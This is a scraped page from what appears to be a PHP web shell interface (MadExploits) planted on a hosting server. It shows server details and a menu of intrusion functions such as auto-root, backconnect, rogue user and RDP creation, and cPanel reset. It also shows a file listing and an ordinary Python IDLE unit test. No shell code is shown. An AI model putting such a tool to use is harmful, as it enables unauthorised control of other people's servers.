Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
lib64 /
python2.7 /
idlelib /
idle_test /
[ HOME SHELL ]
Name
Size
Permission
Action
README.txt
5.36
KB
-rw-r--r--
__init__.py
650
B
-rw-r--r--
__init__.pyc
915
B
-rw-r--r--
__init__.pyo
915
B
-rw-r--r--
htest.py
13.46
KB
-rw-r--r--
htest.pyc
12.3
KB
-rw-r--r--
htest.pyo
12.3
KB
-rw-r--r--
mock_idle.py
1.56
KB
-rw-r--r--
mock_idle.pyc
2.81
KB
-rw-r--r--
mock_idle.pyo
2.81
KB
-rw-r--r--
mock_tk.py
11.3
KB
-rw-r--r--
mock_tk.pyc
12.07
KB
-rw-r--r--
mock_tk.pyo
12.07
KB
-rw-r--r--
test_autocomplete.py
4.81
KB
-rw-r--r--
test_autocomplete.pyc
5.72
KB
-rw-r--r--
test_autocomplete.pyo
5.72
KB
-rw-r--r--
test_autoexpand.py
4.03
KB
-rw-r--r--
test_autoexpand.pyc
4.69
KB
-rw-r--r--
test_autoexpand.pyo
4.69
KB
-rw-r--r--
test_calltips.py
6.97
KB
-rw-r--r--
test_calltips.pyc
11.85
KB
-rw-r--r--
test_calltips.pyo
11.85
KB
-rw-r--r--
test_config_name.py
2.41
KB
-rw-r--r--
test_config_name.pyc
3.92
KB
-rw-r--r--
test_config_name.pyo
3.92
KB
-rw-r--r--
test_configdialog.py
782
B
-rw-r--r--
test_configdialog.pyc
1.62
KB
-rw-r--r--
test_configdialog.pyo
1.62
KB
-rw-r--r--
test_delegator.py
1.26
KB
-rw-r--r--
test_delegator.pyc
1.29
KB
-rw-r--r--
test_delegator.pyo
1.29
KB
-rw-r--r--
test_editmenu.py
3.09
KB
-rw-r--r--
test_editmenu.pyc
4.33
KB
-rw-r--r--
test_editmenu.pyo
4.33
KB
-rw-r--r--
test_formatparagraph.py
14.01
KB
-rw-r--r--
test_formatparagraph.pyc
13.98
KB
-rw-r--r--
test_formatparagraph.pyo
13.98
KB
-rw-r--r--
test_grep.py
2.7
KB
-rw-r--r--
test_grep.pyc
3.67
KB
-rw-r--r--
test_grep.pyo
3.67
KB
-rw-r--r--
test_helpabout.py
1.57
KB
-rw-r--r--
test_helpabout.pyc
2.31
KB
-rw-r--r--
test_helpabout.pyo
2.31
KB
-rw-r--r--
test_hyperparser.py
5.55
KB
-rw-r--r--
test_hyperparser.pyc
6.58
KB
-rw-r--r--
test_hyperparser.pyo
6.58
KB
-rw-r--r--
test_idlehistory.py
5.37
KB
-rw-r--r--
test_idlehistory.pyc
7.95
KB
-rw-r--r--
test_idlehistory.pyo
7.95
KB
-rw-r--r--
test_io.py
9.28
KB
-rw-r--r--
test_io.pyc
11.26
KB
-rw-r--r--
test_io.pyo
11.26
KB
-rw-r--r--
test_parenmatch.py
3.73
KB
-rw-r--r--
test_parenmatch.pyc
5.33
KB
-rw-r--r--
test_parenmatch.pyo
5.33
KB
-rw-r--r--
test_pathbrowser.py
940
B
-rw-r--r--
test_pathbrowser.pyc
1.45
KB
-rw-r--r--
test_pathbrowser.pyo
1.45
KB
-rw-r--r--
test_rstrip.py
1.58
KB
-rw-r--r--
test_rstrip.pyc
1.73
KB
-rw-r--r--
test_rstrip.pyo
1.73
KB
-rw-r--r--
test_searchdialogbase.py
5.73
KB
-rw-r--r--
test_searchdialogbase.pyc
6.67
KB
-rw-r--r--
test_searchdialogbase.pyo
6.67
KB
-rw-r--r--
test_searchengine.py
11.22
KB
-rw-r--r--
test_searchengine.pyc
12.35
KB
-rw-r--r--
test_searchengine.pyo
12.35
KB
-rw-r--r--
test_text.py
6.59
KB
-rw-r--r--
test_text.pyc
7.96
KB
-rw-r--r--
test_text.pyo
7.96
KB
-rw-r--r--
test_textview.py
2.74
KB
-rw-r--r--
test_textview.pyc
4.42
KB
-rw-r--r--
test_textview.pyo
4.42
KB
-rw-r--r--
test_warning.py
2.69
KB
-rw-r--r--
test_warning.pyc
3.21
KB
-rw-r--r--
test_warning.pyo
3.21
KB
-rw-r--r--
test_widgetredir.py
4.08
KB
-rw-r--r--
test_widgetredir.pyc
6.23
KB
-rw-r--r--
test_widgetredir.pyo
6.23
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_idlehistory.py
import unittest from test.test_support import requires import Tkinter as tk from Tkinter import Text as tkText from idlelib.idle_test.mock_tk import Text as mkText from idlelib.IdleHistory import History from idlelib.configHandler import idleConf line1 = 'a = 7' line2 = 'b = a' class StoreTest(unittest.TestCase): '''Tests History.__init__ and History.store with mock Text''' @classmethod def setUpClass(cls): cls.text = mkText() cls.history = History(cls.text) def tearDown(self): self.text.delete('1.0', 'end') self.history.history = [] def test_init(self): self.assertIs(self.history.text, self.text) self.assertEqual(self.history.history, []) self.assertIsNone(self.history.prefix) self.assertIsNone(self.history.pointer) self.assertEqual(self.history.cyclic, idleConf.GetOption("main", "History", "cyclic", 1, "bool")) def test_store_short(self): self.history.store('a') self.assertEqual(self.history.history, []) self.history.store(' a ') self.assertEqual(self.history.history, []) def test_store_dup(self): self.history.store(line1) self.assertEqual(self.history.history, [line1]) self.history.store(line2) self.assertEqual(self.history.history, [line1, line2]) self.history.store(line1) self.assertEqual(self.history.history, [line2, line1]) def test_store_reset(self): self.history.prefix = line1 self.history.pointer = 0 self.history.store(line2) self.assertIsNone(self.history.prefix) self.assertIsNone(self.history.pointer) class TextWrapper: def __init__(self, master): self.text = tkText(master=master) self._bell = False def __getattr__(self, name): return getattr(self.text, name) def bell(self): self._bell = True class FetchTest(unittest.TestCase): '''Test History.fetch with wrapped tk.Text. ''' @classmethod def setUpClass(cls): requires('gui') cls.root = tk.Tk() cls.root.withdraw() def setUp(self): self.text = text = TextWrapper(self.root) text.insert('1.0', ">>> ") text.mark_set('iomark', '1.4') text.mark_gravity('iomark', 'left') self.history = History(text) self.history.history = [line1, line2] @classmethod def tearDownClass(cls): cls.root.destroy() del cls.root def fetch_test(self, reverse, line, prefix, index, bell=False): # Perform one fetch as invoked by Alt-N or Alt-P # Test the result. The line test is the most important. # The last two are diagnostic of fetch internals. History = self.history History.fetch(reverse) Equal = self.assertEqual Equal(self.text.get('iomark', 'end-1c'), line) Equal(self.text._bell, bell) if bell: self.text._bell = False Equal(History.prefix, prefix) Equal(History.pointer, index) Equal(self.text.compare("insert", '==', "end-1c"), 1) def test_fetch_prev_cyclic(self): prefix = '' test = self.fetch_test test(True, line2, prefix, 1) test(True, line1, prefix, 0) test(True, prefix, None, None, bell=True) def test_fetch_next_cyclic(self): prefix = '' test = self.fetch_test test(False, line1, prefix, 0) test(False, line2, prefix, 1) test(False, prefix, None, None, bell=True) # Prefix 'a' tests skip line2, which starts with 'b' def test_fetch_prev_prefix(self): prefix = 'a' self.text.insert('iomark', prefix) self.fetch_test(True, line1, prefix, 0) self.fetch_test(True, prefix, None, None, bell=True) def test_fetch_next_prefix(self): prefix = 'a' self.text.insert('iomark', prefix) self.fetch_test(False, line1, prefix, 0) self.fetch_test(False, prefix, None, None, bell=True) def test_fetch_prev_noncyclic(self): prefix = '' self.history.cyclic = False test = self.fetch_test test(True, line2, prefix, 1) test(True, line1, prefix, 0) test(True, line1, prefix, 0, bell=True) def test_fetch_next_noncyclic(self): prefix = '' self.history.cyclic = False test = self.fetch_test test(False, prefix, None, None, bell=True) test(True, line2, prefix, 1) test(False, prefix, None, None, bell=True) test(False, prefix, None, None, bell=True) def test_fetch_cursor_move(self): # Move cursor after fetch self.history.fetch(reverse=True) # initialization self.text.mark_set('insert', 'iomark') self.fetch_test(True, line2, None, None, bell=True) def test_fetch_edit(self): # Edit after fetch self.history.fetch(reverse=True) # initialization self.text.delete('iomark', 'insert', ) self.text.insert('iomark', 'a =') self.fetch_test(True, line1, 'a =', 0) # prefix is reset def test_history_prev_next(self): # Minimally test functions bound to events self.history.history_prev('dummy event') self.assertEqual(self.history.pointer, 1) self.history.history_next('dummy event') self.assertEqual(self.history.pointer, None) if __name__ == '__main__': unittest.main(verbosity=2, exit=2)
Close